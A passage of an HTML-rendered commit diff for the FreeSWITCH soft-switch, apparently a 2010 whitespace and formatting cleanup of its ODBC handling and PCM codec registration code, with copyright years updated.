</span><span class="cx">         SQLHSTMT stmt = NULL;
</span><span class="lines">@@ -448,7 +444,8 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_callback_exec_detailed(const char *file, const char *func, int line,
</span><span class="cx">                                                                                                                                                            switch_odbc_handle_t *handle,
</span><del>-                                                                                                                                                           const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
</del><ins>+                                                                                                                                                           const char *sql, switch_core_db_callback_func_t callback, void *pdata,
+                                                                                                                                                           char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="cx">         SQLHSTMT stmt = NULL;
</span><span class="lines">@@ -485,16 +482,16 @@
</span><span class="cx">         SQLRowCount(stmt, &amp;m);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        while(!done) {
</del><ins>+        while (!done) {
</ins><span class="cx">                 int name_len = 256;
</span><span class="cx">                 char **names;
</span><span class="cx">                 char **vals;
</span><span class="cx">                 int y = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 result = SQLFetch(stmt);
</span><span class="cx"> 
</span><span class="cx">                 if (result != SQL_SUCCESS) {
</span><del>-                        if (result != SQL_NO_DATA){
</del><ins>+                        if (result != SQL_NO_DATA) {
</ins><span class="cx">                                 err_cnt++;
</span><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="lines">@@ -535,14 +532,14 @@
</span><span class="cx">                 free(names);
</span><span class="cx">                 free(vals);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SQLFreeHandle(SQL_HANDLE_STMT, stmt);
</span><span class="cx"> 
</span><span class="cx">         if (!err_cnt) {
</span><span class="cx">                 return SWITCH_ODBC_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- error:
</del><ins>+  error:
</ins><span class="cx"> 
</span><span class="cx">         if (stmt) {
</span><span class="cx">                 err_str = switch_odbc_handle_get_error(handle, stmt);
</span><span class="lines">@@ -557,7 +554,6 @@
</span><span class="cx">                         free(err_str);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><span class="cx"> #endif
</span><span class="cx">         return SWITCH_ODBC_FAIL;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_pcmc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_pcm.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_pcm.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_pcm.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -59,7 +59,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         /* NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary. */
</span><span class="cx">         if (codec &amp;&amp; other_codec &amp;&amp; codec-&gt;implementation &amp;&amp; other_codec-&gt;implementation &amp;&amp;
</span><span class="lines">@@ -75,7 +76,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         if (codec &amp;&amp; other_codec &amp;&amp; codec-&gt;implementation &amp;&amp; other_codec-&gt;implementation &amp;&amp;
</span><span class="cx">                 codec-&gt;implementation-&gt;actual_samples_per_second != other_codec-&gt;implementation-&gt;actual_samples_per_second) {
</span><span class="lines">@@ -266,55 +268,51 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void mod_g711_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool)
</del><ins>+static void mod_g711_load(switch_loadable_module_interface_t ** module_interface, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><span class="cx">         int mpf = 10000, spf = 80, bpf = 160, ebpf = 80, count;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.711 ulaw&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         0,                                                        /* the IANA code number */
-                                                                                         &quot;PCMU&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711u_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711u_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711u_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711u_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         0,        /* the IANA code number */
+                                                                                         &quot;PCMU&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711u_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711u_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711u_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711u_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.711 alaw&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         8,                                                        /* the IANA code number */
-                                                                                         &quot;PCMA&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711a_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711a_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711a_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711a_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         8,        /* the IANA code number */
+                                                                                         &quot;PCMA&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711a_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711a_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711a_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711a_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -328,45 +326,43 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;PROXY VIDEO PASS-THROUGH&quot;);
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_VIDEO,        /* enumeration defining the type of the codec */
-                                                                                 31,                                                /* the IANA code number */
-                                                                                 &quot;PROXY-VID&quot;,                                /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 90000,                                                /* samples transferred per second */
-                                                                                 90000,                                                /* actual samples transferred per second */
-                                                                                 0,                                                        /* bits transferred per second */ 
-                                                                                 0,                                                        /* number of microseconds per frame */
-                                                                                 0,                                                        /* number of samples per frame */
-                                                                                 0,                                                        /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */ 
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_proxy_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_proxy_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_decode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_VIDEO,        /* enumeration defining the type of the codec */
+                                                                                 31,        /* the IANA code number */
+                                                                                 &quot;PROXY-VID&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 90000,        /* samples transferred per second */
+                                                                                 90000,        /* actual samples transferred per second */
+                                                                                 0,        /* bits transferred per second */
+                                                                                 0,        /* number of microseconds per frame */
+                                                                                 0,        /* number of samples per frame */
+                                                                                 0,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_proxy_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_proxy_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_decode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;PROXY PASS-THROUGH&quot;);
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 0,                                                        /* the IANA code number */
-                                                                                 &quot;PROXY&quot;,                                        /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 0,                                                        /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 160,                                                /* number of samples per frame */
-                                                                                 320,                                                /* number of bytes per frame decompressed */
-                                                                                 320,                                                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_proxy_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_proxy_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_proxy_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_proxy_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 0,        /* the IANA code number */
+                                                                                 &quot;PROXY&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 0,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 160,        /* number of samples per frame */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 320,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_proxy_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_proxy_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_proxy_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_proxy_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;RAW Signed Linear (16 bit)&quot;);
</span><span class="cx"> 
</span><span class="lines">@@ -394,29 +390,28 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         12000,                                                /* samples transferred per second */
-                                                                                         12000,                                                /* actual samples transferred per second */
-                                                                                         192000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         12000,        /* samples transferred per second */
+                                                                                         12000,        /* actual samples transferred per second */
+                                                                                         192000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 240;
</span><span class="cx">                 bytes_per_frame += 480;
</span><span class="cx">                 ms_per_frame += 20000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         samples_per_frame = 480;
</span><span class="lines">@@ -424,29 +419,28 @@
</span><span class="cx">         ms_per_frame = 20000;
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 3; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         24000,                                                /* samples transferred per second */
-                                                                                         24000,                                                /* actual samples transferred per second */
-                                                                                         384000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         24000,        /* samples transferred per second */
+                                                                                         24000,        /* actual samples transferred per second */
+                                                                                         384000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 480;
</span><span class="cx">                 bytes_per_frame += 960;
</span><span class="cx">                 ms_per_frame += 20000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* these formats below are for file playing. */
</span><span class="lines">@@ -456,29 +450,28 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         768000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         768000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 96;
</span><span class="cx">                 bytes_per_frame += 192;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -487,29 +480,28 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         128000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         128000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 16;
</span><span class="cx">                 bytes_per_frame += 32;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         samples_per_frame = 32;
</span><span class="lines">@@ -517,60 +509,58 @@
</span><span class="cx">         ms_per_frame = 2000;
</span><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         256000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         256000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_raw_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_raw_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_raw_destroy);        /* deinitalize a codec handle using this implementation */
+
</ins><span class="cx">                 samples_per_frame += 32;
</span><span class="cx">                 bytes_per_frame += 64;
</span><span class="cx">                 ms_per_frame += 2000;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         samples_per_frame = 64;
</span><span class="cx">         bytes_per_frame = 128;
</span><span class="cx">         ms_per_frame = 2000;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x &lt; 4; x++) {
</span><del>-                switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         10,                                                 /* the IANA code number */
-                                                                                         &quot;L16&quot;,                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         32000,                                                /* samples transferred per second */
-                                                                                         32000,                                                /* actual samples transferred per second */
-                                                                                         512000,                                        /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_raw_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_raw_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_raw_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_raw_destroy);                /* deinitalize a codec handle using this implementation */
-                
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         10,        /* the IANA code number */
+                                                                                         &quot;L16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         32000,        /* samples transferred per second */
+                                                                                         32000,        /* actual samples transferred per second */
+                                                                                         512000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         bytes_per_frame,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_raw_init,        /* function to initialize a codec handle using this implementation */
